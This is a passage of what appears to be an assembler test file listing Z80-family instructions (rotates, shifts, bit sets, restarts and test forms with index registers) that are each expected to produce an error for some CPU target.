(iy+127), a ; Error rlc (iy+127), b ; Error rlc (iy+127), c ; Error rlc (iy+127), d ; Error rlc (iy+127), e ; Error rlc (iy+127), h ; Error rlc (iy+127), l ; Error rlc (iy-128), a ; Error rlc (iy-128), b ; Error rlc (iy-128), c ; Error rlc (iy-128), d ; Error rlc (iy-128), e ; Error rlc (iy-128), h ; Error rlc (iy-128), l ; Error rr (ix), a ; Error rr (ix), b ; Error rr (ix), c ; Error rr (ix), d ; Error rr (ix), e ; Error rr (ix), h ; Error rr (ix), l ; Error rr (ix+127), a ; Error rr (ix+127), b ; Error rr (ix+127), c ; Error rr (ix+127), d ; Error rr (ix+127), e ; Error rr (ix+127), h ; Error rr (ix+127), l ; Error rr (ix-128), a ; Error rr (ix-128), b ; Error rr (ix-128), c ; Error rr (ix-128), d ; Error rr (ix-128), e ; Error rr (ix-128), h ; Error rr (ix-128), l ; Error rr (iy), a ; Error rr (iy), b ; Error rr (iy), c ; Error rr (iy), d ; Error rr (iy), e ; Error rr (iy), h ; Error rr (iy), l ; Error rr (iy+127), a ; Error rr (iy+127), b ; Error rr (iy+127), c ; Error rr (iy+127), d ; Error rr (iy+127), e ; Error rr (iy+127), h ; Error rr (iy+127), l ; Error rr (iy-128), a ; Error rr (iy-128), b ; Error rr (iy-128), c ; Error rr (iy-128), d ; Error rr (iy-128), e ; Error rr (iy-128), h ; Error rr (iy-128), l ; Error rrc (ix), a ; Error rrc (ix), b ; Error rrc (ix), c ; Error rrc (ix), d ; Error rrc (ix), e ; Error rrc (ix), h ; Error rrc (ix), l ; Error rrc (ix+127), a ; Error rrc (ix+127), b ; Error rrc (ix+127), c ; Error rrc (ix+127), d ; Error rrc (ix+127), e ; Error rrc (ix+127), h ; Error rrc (ix+127), l ; Error rrc (ix-128), a ; Error rrc (ix-128), b ; Error rrc (ix-128), c ; Error rrc (ix-128), d ; Error rrc (ix-128), e ; Error rrc (ix-128), h ; Error rrc (ix-128), l ; Error rrc (iy), a ; Error rrc (iy), b ; Error rrc (iy), c ; Error rrc (iy), d ; Error rrc (iy), e ; Error rrc (iy), h ; Error rrc (iy), l ; Error rrc (iy+127), a ; Error rrc (iy+127), b ; Error rrc (iy+127), c ; Error rrc (iy+127), d ; Error rrc (iy+127), e ; Error rrc (iy+127), h ; Error rrc (iy+127), l ; Error rrc (iy-128), a ; Error rrc (iy-128), b ; Error rrc (iy-128), c ; Error rrc (iy-128), d ; Error rrc (iy-128), e ; Error rrc (iy-128), h ; Error rrc (iy-128), l ; Error rst -1 ; Error rst -1 ; Error rst 10 ; Error rst 10 ; Error rst 11 ; Error rst 11 ; Error rst 12 ; Error rst 12 ; Error rst 13 ; Error rst 13 ; Error rst 14 ; Error rst 14 ; Error rst 15 ; Error rst 15 ; Error rst 17 ; Error rst 17 ; Error rst 18 ; Error rst 18 ; Error rst 19 ; Error rst 19 ; Error rst 20 ; Error rst 20 ; Error rst 21 ; Error rst 21 ; Error rst 22 ; Error rst 22 ; Error rst 23 ; Error rst 23 ; Error rst 25 ; Error rst 25 ; Error rst 26 ; Error rst 26 ; Error rst 27 ; Error rst 27 ; Error rst 28 ; Error rst 28 ; Error rst 29 ; Error rst 29 ; Error rst 30 ; Error rst 30 ; Error rst 31 ; Error rst 31 ; Error rst 33 ; Error rst 33 ; Error rst 34 ; Error rst 34 ; Error rst 35 ; Error rst 35 ; Error rst 36 ; Error rst 36 ; Error rst 37 ; Error rst 37 ; Error rst 38 ; Error rst 38 ; Error rst 39 ; Error rst 39 ; Error rst 41 ; Error rst 41 ; Error rst 42 ; Error rst 42 ; Error rst 43 ; Error rst 43 ; Error rst 44 ; Error rst 44 ; Error rst 45 ; Error rst 45 ; Error rst 46 ; Error rst 46 ; Error rst 47 ; Error rst 47 ; Error rst 49 ; Error rst 49 ; Error rst 50 ; Error rst 50 ; Error rst 51 ; Error rst 51 ; Error rst 52 ; Error rst 52 ; Error rst 53 ; Error rst 53 ; Error rst 54 ; Error rst 54 ; Error rst 55 ; Error rst 55 ; Error rst 57 ; Error rst 57 ; Error rst 58 ; Error rst 58 ; Error rst 59 ; Error rst 59 ; Error rst 60 ; Error rst 60 ; Error rst 61 ; Error rst 61 ; Error rst 62 ; Error rst 62 ; Error rst 63 ; Error rst 63 ; Error rst 64 ; Error rst 64 ; Error rst 9 ; Error rst 9 ; Error rstv ; Error sbc a, ixh ; Error sbc a, ixl ; Error sbc a, iyh ; Error sbc a, iyl ; Error sbc ixh ; Error sbc ixl ; Error sbc iyh ; Error sbc iyl ; Error set -1, (hl) ; Error set -1, (hl) ; Error set -1, (ix) ; Error set -1, (ix) ; Error set -1, (ix), a ; Error set -1, (ix), a ; Error set -1, (ix), b ; Error set -1, (ix), b ; Error set -1, (ix), c ; Error set -1, (ix), c ; Error set -1, (ix), d ; Error set -1, (ix), d ; Error set -1, (ix), e ; Error set -1, (ix), e ; Error set -1, (ix), h ; Error set -1, (ix), h ; Error set -1, (ix), l ; Error set -1, (ix), l ; Error set -1, (ix+127) ; Error set -1, (ix+127) ; Error set -1, (ix+127), a ; Error set -1, (ix+127), a ; Error set -1, (ix+127), b ; Error set -1, (ix+127), b ; Error set -1, (ix+127), c ; Error set -1, (ix+127), c ; Error set -1, (ix+127), d ; Error set -1, (ix+127), d ; Error set -1, (ix+127), e ; Error set -1, (ix+127), e ; Error set -1, (ix+127), h ; Error set -1, (ix+127), h ; Error set -1, (ix+127), l ; Error set -1, (ix+127), l ; Error set -1, (ix-128) ; Error set -1, (ix-128) ; Error set -1, (ix-128), a ; Error set -1, (ix-128), a ; Error set -1, (ix-128), b ; Error set -1, (ix-128), b ; Error set -1, (ix-128), c ; Error set -1, (ix-128), c ; Error set -1, (ix-128), d ; Error set -1, (ix-128), d ; Error set -1, (ix-128), e ; Error set -1, (ix-128), e ; Error set -1, (ix-128), h ; Error set -1, (ix-128), h ; Error set -1, (ix-128), l ; Error set -1, (ix-128), l ; Error set -1, (iy) ; Error set -1, (iy) ; Error set -1, (iy), a ; Error set -1, (iy), a ; Error set -1, (iy), b ; Error set -1, (iy), b ; Error set -1, (iy), c ; Error set -1, (iy), c ; Error set -1, (iy), d ; Error set -1, (iy), d ; Error set -1, (iy), e ; Error set -1, (iy), e ; Error set -1, (iy), h ; Error set -1, (iy), h ; Error set -1, (iy), l ; Error set -1, (iy), l ; Error set -1, (iy+127) ; Error set -1, (iy+127) ; Error set -1, (iy+127), a ; Error set -1, (iy+127), a ; Error set -1, (iy+127), b ; Error set -1, (iy+127), b ; Error set -1, (iy+127), c ; Error set -1, (iy+127), c ; Error set -1, (iy+127), d ; Error set -1, (iy+127), d ; Error set -1, (iy+127), e ; Error set -1, (iy+127), e ; Error set -1, (iy+127), h ; Error set -1, (iy+127), h ; Error set -1, (iy+127), l ; Error set -1, (iy+127), l ; Error set -1, (iy-128) ; Error set -1, (iy-128) ; Error set -1, (iy-128), a ; Error set -1, (iy-128), a ; Error set -1, (iy-128), b ; Error set -1, (iy-128), b ; Error set -1, (iy-128), c ; Error set -1, (iy-128), c ; Error set -1, (iy-128), d ; Error set -1, (iy-128), d ; Error set -1, (iy-128), e ; Error set -1, (iy-128), e ; Error set -1, (iy-128), h ; Error set -1, (iy-128), h ; Error set -1, (iy-128), l ; Error set -1, (iy-128), l ; Error set -1, a ; Error set -1, a ; Error set -1, a' ; Error set -1, a' ; Error set -1, b ; Error set -1, b ; Error set -1, b' ; Error set -1, b' ; Error set -1, c ; Error set -1, c ; Error set -1, c' ; Error set -1, c' ; Error set -1, d ; Error set -1, d ; Error set -1, d' ; Error set -1, d' ; Error set -1, e ; Error set -1, e ; Error set -1, e' ; Error set -1, e' ; Error set -1, h ; Error set -1, h ; Error set -1, h' ; Error set -1, h' ; Error set -1, l ; Error set -1, l ; Error set -1, l' ; Error set -1, l' ; Error set 0, (ix), a ; Error set 0, (ix), b ; Error set 0, (ix), c ; Error set 0, (ix), d ; Error set 0, (ix), e ; Error set 0, (ix), h ; Error set 0, (ix), l ; Error set 0, (ix+127), a ; Error set 0, (ix+127), b ; Error set 0, (ix+127), c ; Error set 0, (ix+127), d ; Error set 0, (ix+127), e ; Error set 0, (ix+127), h ; Error set 0, (ix+127), l ; Error set 0, (ix-128), a ; Error set 0, (ix-128), b ; Error set 0, (ix-128), c ; Error set 0, (ix-128), d ; Error set 0, (ix-128), e ; Error set 0, (ix-128), h ; Error set 0, (ix-128), l ; Error set 0, (iy), a ; Error set 0, (iy), b ; Error set 0, (iy), c ; Error set 0, (iy), d ; Error set 0, (iy), e ; Error set 0, (iy), h ; Error set 0, (iy), l ; Error set 0, (iy+127), a ; Error set 0, (iy+127), b ; Error set 0, (iy+127), c ; Error set 0, (iy+127), d ; Error set 0, (iy+127), e ; Error set 0, (iy+127), h ; Error set 0, (iy+127), l ; Error set 0, (iy-128), a ; Error set 0, (iy-128), b ; Error set 0, (iy-128), c ; Error set 0, (iy-128), d ; Error set 0, (iy-128), e ; Error set 0, (iy-128), h ; Error set 0, (iy-128), l ; Error set 1, (ix), a ; Error set 1, (ix), b ; Error set 1, (ix), c ; Error set 1, (ix), d ; Error set 1, (ix), e ; Error set 1, (ix), h ; Error set 1, (ix), l ; Error set 1, (ix+127), a ; Error set 1, (ix+127), b ; Error set 1, (ix+127), c ; Error set 1, (ix+127), d ; Error set 1, (ix+127), e ; Error set 1, (ix+127), h ; Error set 1, (ix+127), l ; Error set 1, (ix-128), a ; Error set 1, (ix-128), b ; Error set 1, (ix-128), c ; Error set 1, (ix-128), d ; Error set 1, (ix-128), e ; Error set 1, (ix-128), h ; Error set 1, (ix-128), l ; Error set 1, (iy), a ; Error set 1, (iy), b ; Error set 1, (iy), c ; Error set 1, (iy), d ; Error set 1, (iy), e ; Error set 1, (iy), h ; Error set 1, (iy), l ; Error set 1, (iy+127), a ; Error set 1, (iy+127), b ; Error set 1, (iy+127), c ; Error set 1, (iy+127), d ; Error set 1, (iy+127), e ; Error set 1, (iy+127), h ; Error set 1, (iy+127), l ; Error set 1, (iy-128), a ; Error set 1, (iy-128), b ; Error set 1, (iy-128), c ; Error set 1, (iy-128), d ; Error set 1, (iy-128), e ; Error set 1, (iy-128), h ; Error set 1, (iy-128), l ; Error set 2, (ix), a ; Error set 2, (ix), b ; Error set 2, (ix), c ; Error set 2, (ix), d ; Error set 2, (ix), e ; Error set 2, (ix), h ; Error set 2, (ix), l ; Error set 2, (ix+127), a ; Error set 2, (ix+127), b ; Error set 2, (ix+127), c ; Error set 2, (ix+127), d ; Error set 2, (ix+127), e ; Error set 2, (ix+127), h ; Error set 2, (ix+127), l ; Error set 2, (ix-128), a ; Error set 2, (ix-128), b ; Error set 2, (ix-128), c ; Error set 2, (ix-128), d ; Error set 2, (ix-128), e ; Error set 2, (ix-128), h ; Error set 2, (ix-128), l ; Error set 2, (iy), a ; Error set 2, (iy), b ; Error set 2, (iy), c ; Error set 2, (iy), d ; Error set 2, (iy), e ; Error set 2, (iy), h ; Error set 2, (iy), l ; Error set 2, (iy+127), a ; Error set 2, (iy+127), b ; Error set 2, (iy+127), c ; Error set 2, (iy+127), d ; Error set 2, (iy+127), e ; Error set 2, (iy+127), h ; Error set 2, (iy+127), l ; Error set 2, (iy-128), a ; Error set 2, (iy-128), b ; Error set 2, (iy-128), c ; Error set 2, (iy-128), d ; Error set 2, (iy-128), e ; Error set 2, (iy-128), h ; Error set 2, (iy-128), l ; Error set 3, (ix), a ; Error set 3, (ix), b ; Error set 3, (ix), c ; Error set 3, (ix), d ; Error set 3, (ix), e ; Error set 3, (ix), h ; Error set 3, (ix), l ; Error set 3, (ix+127), a ; Error set 3, (ix+127), b ; Error set 3, (ix+127), c ; Error set 3, (ix+127), d ; Error set 3, (ix+127), e ; Error set 3, (ix+127), h ; Error set 3, (ix+127), l ; Error set 3, (ix-128), a ; Error set 3, (ix-128), b ; Error set 3, (ix-128), c ; Error set 3, (ix-128), d ; Error set 3, (ix-128), e ; Error set 3, (ix-128), h ; Error set 3, (ix-128), l ; Error set 3, (iy), a ; Error set 3, (iy), b ; Error set 3, (iy), c ; Error set 3, (iy), d ; Error set 3, (iy), e ; Error set 3, (iy), h ; Error set 3, (iy), l ; Error set 3, (iy+127), a ; Error set 3, (iy+127), b ; Error set 3, (iy+127), c ; Error set 3, (iy+127), d ; Error set 3, (iy+127), e ; Error set 3, (iy+127), h ; Error set 3, (iy+127), l ; Error set 3, (iy-128), a ; Error set 3, (iy-128), b ; Error set 3, (iy-128), c ; Error set 3, (iy-128), d ; Error set 3, (iy-128), e ; Error set 3, (iy-128), h ; Error set 3, (iy-128), l ; Error set 4, (ix), a ; Error set 4, (ix), b ; Error set 4, (ix), c ; Error set 4, (ix), d ; Error set 4, (ix), e ; Error set 4, (ix), h ; Error set 4, (ix), l ; Error set 4, (ix+127), a ; Error set 4, (ix+127), b ; Error set 4, (ix+127), c ; Error set 4, (ix+127), d ; Error set 4, (ix+127), e ; Error set 4, (ix+127), h ; Error set 4, (ix+127), l ; Error set 4, (ix-128), a ; Error set 4, (ix-128), b ; Error set 4, (ix-128), c ; Error set 4, (ix-128), d ; Error set 4, (ix-128), e ; Error set 4, (ix-128), h ; Error set 4, (ix-128), l ; Error set 4, (iy), a ; Error set 4, (iy), b ; Error set 4, (iy), c ; Error set 4, (iy), d ; Error set 4, (iy), e ; Error set 4, (iy), h ; Error set 4, (iy), l ; Error set 4, (iy+127), a ; Error set 4, (iy+127), b ; Error set 4, (iy+127), c ; Error set 4, (iy+127), d ; Error set 4, (iy+127), e ; Error set 4, (iy+127), h ; Error set 4, (iy+127), l ; Error set 4, (iy-128), a ; Error set 4, (iy-128), b ; Error set 4, (iy-128), c ; Error set 4, (iy-128), d ; Error set 4, (iy-128), e ; Error set 4, (iy-128), h ; Error set 4, (iy-128), l ; Error set 5, (ix), a ; Error set 5, (ix), b ; Error set 5, (ix), c ; Error set 5, (ix), d ; Error set 5, (ix), e ; Error set 5, (ix), h ; Error set 5, (ix), l ; Error set 5, (ix+127), a ; Error set 5, (ix+127), b ; Error set 5, (ix+127), c ; Error set 5, (ix+127), d ; Error set 5, (ix+127), e ; Error set 5, (ix+127), h ; Error set 5, (ix+127), l ; Error set 5, (ix-128), a ; Error set 5, (ix-128), b ; Error set 5, (ix-128), c ; Error set 5, (ix-128), d ; Error set 5, (ix-128), e ; Error set 5, (ix-128), h ; Error set 5, (ix-128), l ; Error set 5, (iy), a ; Error set 5, (iy), b ; Error set 5, (iy), c ; Error set 5, (iy), d ; Error set 5, (iy), e ; Error set 5, (iy), h ; Error set 5, (iy), l ; Error set 5, (iy+127), a ; Error set 5, (iy+127), b ; Error set 5, (iy+127), c ; Error set 5, (iy+127), d ; Error set 5, (iy+127), e ; Error set 5, (iy+127), h ; Error set 5, (iy+127), l ; Error set 5, (iy-128), a ; Error set 5, (iy-128), b ; Error set 5, (iy-128), c ; Error set 5, (iy-128), d ; Error set 5, (iy-128), e ; Error set 5, (iy-128), h ; Error set 5, (iy-128), l ; Error set 6, (ix), a ; Error set 6, (ix), b ; Error set 6, (ix), c ; Error set 6, (ix), d ; Error set 6, (ix), e ; Error set 6, (ix), h ; Error set 6, (ix), l ; Error set 6, (ix+127), a ; Error set 6, (ix+127), b ; Error set 6, (ix+127), c ; Error set 6, (ix+127), d ; Error set 6, (ix+127), e ; Error set 6, (ix+127), h ; Error set 6, (ix+127), l ; Error set 6, (ix-128), a ; Error set 6, (ix-128), b ; Error set 6, (ix-128), c ; Error set 6, (ix-128), d ; Error set 6, (ix-128), e ; Error set 6, (ix-128), h ; Error set 6, (ix-128), l ; Error set 6, (iy), a ; Error set 6, (iy), b ; Error set 6, (iy), c ; Error set 6, (iy), d ; Error set 6, (iy), e ; Error set 6, (iy), h ; Error set 6, (iy), l ; Error set 6, (iy+127), a ; Error set 6, (iy+127), b ; Error set 6, (iy+127), c ; Error set 6, (iy+127), d ; Error set 6, (iy+127), e ; Error set 6, (iy+127), h ; Error set 6, (iy+127), l ; Error set 6, (iy-128), a ; Error set 6, (iy-128), b ; Error set 6, (iy-128), c ; Error set 6, (iy-128), d ; Error set 6, (iy-128), e ; Error set 6, (iy-128), h ; Error set 6, (iy-128), l ; Error set 7, (ix), a ; Error set 7, (ix), b ; Error set 7, (ix), c ; Error set 7, (ix), d ; Error set 7, (ix), e ; Error set 7, (ix), h ; Error set 7, (ix), l ; Error set 7, (ix+127), a ; Error set 7, (ix+127), b ; Error set 7, (ix+127), c ; Error set 7, (ix+127), d ; Error set 7, (ix+127), e ; Error set 7, (ix+127), h ; Error set 7, (ix+127), l ; Error set 7, (ix-128), a ; Error set 7, (ix-128), b ; Error set 7, (ix-128), c ; Error set 7, (ix-128), d ; Error set 7, (ix-128), e ; Error set 7, (ix-128), h ; Error set 7, (ix-128), l ; Error set 7, (iy), a ; Error set 7, (iy), b ; Error set 7, (iy), c ; Error set 7, (iy), d ; Error set 7, (iy), e ; Error set 7, (iy), h ; Error set 7, (iy), l ; Error set 7, (iy+127), a ; Error set 7, (iy+127), b ; Error set 7, (iy+127), c ; Error set 7, (iy+127), d ; Error set 7, (iy+127), e ; Error set 7, (iy+127), h ; Error set 7, (iy+127), l ; Error set 7, (iy-128), a ; Error set 7, (iy-128), b ; Error set 7, (iy-128), c ; Error set 7, (iy-128), d ; Error set 7, (iy-128), e ; Error set 7, (iy-128), h ; Error set 7, (iy-128), l ; Error set 8, (hl) ; Error set 8, (hl) ; Error set 8, (ix) ; Error set 8, (ix) ; Error set 8, (ix), a ; Error set 8, (ix), a ; Error set 8, (ix), b ; Error set 8, (ix), b ; Error set 8, (ix), c ; Error set 8, (ix), c ; Error set 8, (ix), d ; Error set 8, (ix), d ; Error set 8, (ix), e ; Error set 8, (ix), e ; Error set 8, (ix), h ; Error set 8, (ix), h ; Error set 8, (ix), l ; Error set 8, (ix), l ; Error set 8, (ix+127) ; Error set 8, (ix+127) ; Error set 8, (ix+127), a ; Error set 8, (ix+127), a ; Error set 8, (ix+127), b ; Error set 8, (ix+127), b ; Error set 8, (ix+127), c ; Error set 8, (ix+127), c ; Error set 8, (ix+127), d ; Error set 8, (ix+127), d ; Error set 8, (ix+127), e ; Error set 8, (ix+127), e ; Error set 8, (ix+127), h ; Error set 8, (ix+127), h ; Error set 8, (ix+127), l ; Error set 8, (ix+127), l ; Error set 8, (ix-128) ; Error set 8, (ix-128) ; Error set 8, (ix-128), a ; Error set 8, (ix-128), a ; Error set 8, (ix-128), b ; Error set 8, (ix-128), b ; Error set 8, (ix-128), c ; Error set 8, (ix-128), c ; Error set 8, (ix-128), d ; Error set 8, (ix-128), d ; Error set 8, (ix-128), e ; Error set 8, (ix-128), e ; Error set 8, (ix-128), h ; Error set 8, (ix-128), h ; Error set 8, (ix-128), l ; Error set 8, (ix-128), l ; Error set 8, (iy) ; Error set 8, (iy) ; Error set 8, (iy), a ; Error set 8, (iy), a ; Error set 8, (iy), b ; Error set 8, (iy), b ; Error set 8, (iy), c ; Error set 8, (iy), c ; Error set 8, (iy), d ; Error set 8, (iy), d ; Error set 8, (iy), e ; Error set 8, (iy), e ; Error set 8, (iy), h ; Error set 8, (iy), h ; Error set 8, (iy), l ; Error set 8, (iy), l ; Error set 8, (iy+127) ; Error set 8, (iy+127) ; Error set 8, (iy+127), a ; Error set 8, (iy+127), a ; Error set 8, (iy+127), b ; Error set 8, (iy+127), b ; Error set 8, (iy+127), c ; Error set 8, (iy+127), c ; Error set 8, (iy+127), d ; Error set 8, (iy+127), d ; Error set 8, (iy+127), e ; Error set 8, (iy+127), e ; Error set 8, (iy+127), h ; Error set 8, (iy+127), h ; Error set 8, (iy+127), l ; Error set 8, (iy+127), l ; Error set 8, (iy-128) ; Error set 8, (iy-128) ; Error set 8, (iy-128), a ; Error set 8, (iy-128), a ; Error set 8, (iy-128), b ; Error set 8, (iy-128), b ; Error set 8, (iy-128), c ; Error set 8, (iy-128), c ; Error set 8, (iy-128), d ; Error set 8, (iy-128), d ; Error set 8, (iy-128), e ; Error set 8, (iy-128), e ; Error set 8, (iy-128), h ; Error set 8, (iy-128), h ; Error set 8, (iy-128), l ; Error set 8, (iy-128), l ; Error set 8, a ; Error set 8, a ; Error set 8, a' ; Error set 8, a' ; Error set 8, b ; Error set 8, b ; Error set 8, b' ; Error set 8, b' ; Error set 8, c ; Error set 8, c ; Error set 8, c' ; Error set 8, c' ; Error set 8, d ; Error set 8, d ; Error set 8, d' ; Error set 8, d' ; Error set 8, e ; Error set 8, e ; Error set 8, e' ; Error set 8, e' ; Error set 8, h ; Error set 8, h ; Error set 8, h' ; Error set 8, h' ; Error set 8, l ; Error set 8, l ; Error set 8, l' ; Error set 8, l' ; Error setae ; Error shlde ; Error shlx ; Error sim ; Error sla (ix), a ; Error sla (ix), b ; Error sla (ix), c ; Error sla (ix), d ; Error sla (ix), e ; Error sla (ix), h ; Error sla (ix), l ; Error sla (ix+127), a ; Error sla (ix+127), b ; Error sla (ix+127), c ; Error sla (ix+127), d ; Error sla (ix+127), e ; Error sla (ix+127), h ; Error sla (ix+127), l ; Error sla (ix-128), a ; Error sla (ix-128), b ; Error sla (ix-128), c ; Error sla (ix-128), d ; Error sla (ix-128), e ; Error sla (ix-128), h ; Error sla (ix-128), l ; Error sla (iy), a ; Error sla (iy), b ; Error sla (iy), c ; Error sla (iy), d ; Error sla (iy), e ; Error sla (iy), h ; Error sla (iy), l ; Error sla (iy+127), a ; Error sla (iy+127), b ; Error sla (iy+127), c ; Error sla (iy+127), d ; Error sla (iy+127), e ; Error sla (iy+127), h ; Error sla (iy+127), l ; Error sla (iy-128), a ; Error sla (iy-128), b ; Error sla (iy-128), c ; Error sla (iy-128), d ; Error sla (iy-128), e ; Error sla (iy-128), h ; Error sla (iy-128), l ; Error sli (hl) ; Error sli (ix) ; Error sli (ix), a ; Error sli (ix), b ; Error sli (ix), c ; Error sli (ix), d ; Error sli (ix), e ; Error sli (ix), h ; Error sli (ix), l ; Error sli (ix+127) ; Error sli (ix+127), a ; Error sli (ix+127), b ; Error sli (ix+127), c ; Error sli (ix+127), d ; Error sli (ix+127), e ; Error sli (ix+127), h ; Error sli (ix+127), l ; Error sli (ix-128) ; Error sli (ix-128), a ; Error sli (ix-128), b ; Error sli (ix-128), c ; Error sli (ix-128), d ; Error sli (ix-128), e ; Error sli (ix-128), h ; Error sli (ix-128), l ; Error sli (iy) ; Error sli (iy), a ; Error sli (iy), b ; Error sli (iy), c ; Error sli (iy), d ; Error sli (iy), e ; Error sli (iy), h ; Error sli (iy), l ; Error sli (iy+127) ; Error sli (iy+127), a ; Error sli (iy+127), b ; Error sli (iy+127), c ; Error sli (iy+127), d ; Error sli (iy+127), e ; Error sli (iy+127), h ; Error sli (iy+127), l ; Error sli (iy-128) ; Error sli (iy-128), a ; Error sli (iy-128), b ; Error sli (iy-128), c ; Error sli (iy-128), d ; Error sli (iy-128), e ; Error sli (iy-128), h ; Error sli (iy-128), l ; Error sli a ; Error sli b ; Error sli c ; Error sli d ; Error sli e ; Error sli h ; Error sli l ; Error sll (hl) ; Error sll (ix) ; Error sll (ix), a ; Error sll (ix), b ; Error sll (ix), c ; Error sll (ix), d ; Error sll (ix), e ; Error sll (ix), h ; Error sll (ix), l ; Error sll (ix+127) ; Error sll (ix+127), a ; Error sll (ix+127), b ; Error sll (ix+127), c ; Error sll (ix+127), d ; Error sll (ix+127), e ; Error sll (ix+127), h ; Error sll (ix+127), l ; Error sll (ix-128) ; Error sll (ix-128), a ; Error sll (ix-128), b ; Error sll (ix-128), c ; Error sll (ix-128), d ; Error sll (ix-128), e ; Error sll (ix-128), h ; Error sll (ix-128), l ; Error sll (iy) ; Error sll (iy), a ; Error sll (iy), b ; Error sll (iy), c ; Error sll (iy), d ; Error sll (iy), e ; Error sll (iy), h ; Error sll (iy), l ; Error sll (iy+127) ; Error sll (iy+127), a ; Error sll (iy+127), b ; Error sll (iy+127), c ; Error sll (iy+127), d ; Error sll (iy+127), e ; Error sll (iy+127), h ; Error sll (iy+127), l ; Error sll (iy-128) ; Error sll (iy-128), a ; Error sll (iy-128), b ; Error sll (iy-128), c ; Error sll (iy-128), d ; Error sll (iy-128), e ; Error sll (iy-128), h ; Error sll (iy-128), l ; Error sll a ; Error sll b ; Error sll c ; Error sll d ; Error sll e ; Error sll h ; Error sll l ; Error slp ; Error sls (hl) ; Error sls (ix) ; Error sls (ix), a ; Error sls (ix), b ; Error sls (ix), c ; Error sls (ix), d ; Error sls (ix), e ; Error sls (ix), h ; Error sls (ix), l ; Error sls (ix+127) ; Error sls (ix+127), a ; Error sls (ix+127), b ; Error sls (ix+127), c ; Error sls (ix+127), d ; Error sls (ix+127), e ; Error sls (ix+127), h ; Error sls (ix+127), l ; Error sls (ix-128) ; Error sls (ix-128), a ; Error sls (ix-128), b ; Error sls (ix-128), c ; Error sls (ix-128), d ; Error sls (ix-128), e ; Error sls (ix-128), h ; Error sls (ix-128), l ; Error sls (iy) ; Error sls (iy), a ; Error sls (iy), b ; Error sls (iy), c ; Error sls (iy), d ; Error sls (iy), e ; Error sls (iy), h ; Error sls (iy), l ; Error sls (iy+127) ; Error sls (iy+127), a ; Error sls (iy+127), b ; Error sls (iy+127), c ; Error sls (iy+127), d ; Error sls (iy+127), e ; Error sls (iy+127), h ; Error sls (iy+127), l ; Error sls (iy-128) ; Error sls (iy-128), a ; Error sls (iy-128), b ; Error sls (iy-128), c ; Error sls (iy-128), d ; Error sls (iy-128), e ; Error sls (iy-128), h ; Error sls (iy-128), l ; Error sls a ; Error sls b ; Error sls c ; Error sls d ; Error sls e ; Error sls h ; Error sls l ; Error sra (ix), a ; Error sra (ix), b ; Error sra (ix), c ; Error sra (ix), d ; Error sra (ix), e ; Error sra (ix), h ; Error sra (ix), l ; Error sra (ix+127), a ; Error sra (ix+127), b ; Error sra (ix+127), c ; Error sra (ix+127), d ; Error sra (ix+127), e ; Error sra (ix+127), h ; Error sra (ix+127), l ; Error sra (ix-128), a ; Error sra (ix-128), b ; Error sra (ix-128), c ; Error sra (ix-128), d ; Error sra (ix-128), e ; Error sra (ix-128), h ; Error sra (ix-128), l ; Error sra (iy), a ; Error sra (iy), b ; Error sra (iy), c ; Error sra (iy), d ; Error sra (iy), e ; Error sra (iy), h ; Error sra (iy), l ; Error sra (iy+127), a ; Error sra (iy+127), b ; Error sra (iy+127), c ; Error sra (iy+127), d ; Error sra (iy+127), e ; Error sra (iy+127), h ; Error sra (iy+127), l ; Error sra (iy-128), a ; Error sra (iy-128), b ; Error sra (iy-128), c ; Error sra (iy-128), d ; Error sra (iy-128), e ; Error sra (iy-128), h ; Error sra (iy-128), l ; Error srl (ix), a ; Error srl (ix), b ; Error srl (ix), c ; Error srl (ix), d ; Error srl (ix), e ; Error srl (ix), h ; Error srl (ix), l ; Error srl (ix+127), a ; Error srl (ix+127), b ; Error srl (ix+127), c ; Error srl (ix+127), d ; Error srl (ix+127), e ; Error srl (ix+127), h ; Error srl (ix+127), l ; Error srl (ix-128), a ; Error srl (ix-128), b ; Error srl (ix-128), c ; Error srl (ix-128), d ; Error srl (ix-128), e ; Error srl (ix-128), h ; Error srl (ix-128), l ; Error srl (iy), a ; Error srl (iy), b ; Error srl (iy), c ; Error srl (iy), d ; Error srl (iy), e ; Error srl (iy), h ; Error srl (iy), l ; Error srl (iy+127), a ; Error srl (iy+127), b ; Error srl (iy+127), c ; Error srl (iy+127), d ; Error srl (iy+127), e ; Error srl (iy+127), h ; Error srl (iy+127), l ; Error srl (iy-128), a ; Error srl (iy-128), b ; Error srl (iy-128), c ; Error srl (iy-128), d ; Error srl (iy-128), e ; Error srl (iy-128), h ; Error srl (iy-128), l ; Error stop ; Error sub a, ixh ; Error sub a, ixl ; Error sub a, iyh ; Error sub a, iyl ; Error sub ixh ; Error sub ixl ; Error sub iyh ; Error sub iyl ; Error swap (hl) ; Error swap a ; Error swap b ; Error swap c ; Error swap d ; Error swap e ; Error swap h ; Error swap l ; Error swapnib ; Error test (hl) ; Error test (ix) ; Error test (ix+127) ; Error test (ix-128) ; Error test (iy) ; Error test (iy+127) ; Error test (iy-128) ; Error test -128 ; Error test 127 ; Error test 255 ; Error test a ; Error test a, (hl) ; Error test a, (ix) ; Error test a, (ix+127) ; Error test a, (ix-128) ; Error test a, (iy) ; Error test a, (iy+127) ; Error test a, (iy-128) ; Error test a, -128 ; Error test a, 127 ; Error test a, 255 ; Error test a, a ; Error test a, b ; Error test a, c ; Error test a, d ; Error test a, e ; Error test a, h ; Error test a, l ; Error test b ; Error test c ; Error test d ; Error test e ; Error test h ; Error test l ; Error tst (hl) ; Error tst (ix) ; Error tst (ix+127) ; Error tst (ix-128) ; Error tst (iy) ; Error tst (iy+127) ; Error tst (iy-128) ; Error tst -128 ; Error tst 127 ; Error tst 255 ; Error tst a ; Error tst a, (hl) ; Error tst a, (ix) ; Error tst a, (ix+127) ; Error tst a, (ix-128) ; Error tst a, (iy) ; Error tst a, (iy+127) ; Error tst a, (iy-128) ; Error tst a, -128 ; Error tst a, 127 ; Error tst a, 255 ; Error tst a, a ; Error tst a, b ; Error tst a, c ; Error tst a, d ; Error tst a, e ; Error tst a, h ; Error tst a, l ; Error tst b ; Error tst c ; Error tst d ; Error tst e ; Error tst h ; Error tst l ; Error tstio -128 ; Error tstio 127 ; Error tstio 255 ; Error xor a, ixh ; Error xor a, ixl ; Error xor a, iyh ; Error xor a, iyl ; Error xor ixh ; Error xor ixl ; Error xor iyh ; Error xor iyl ; Error xthl ; Error
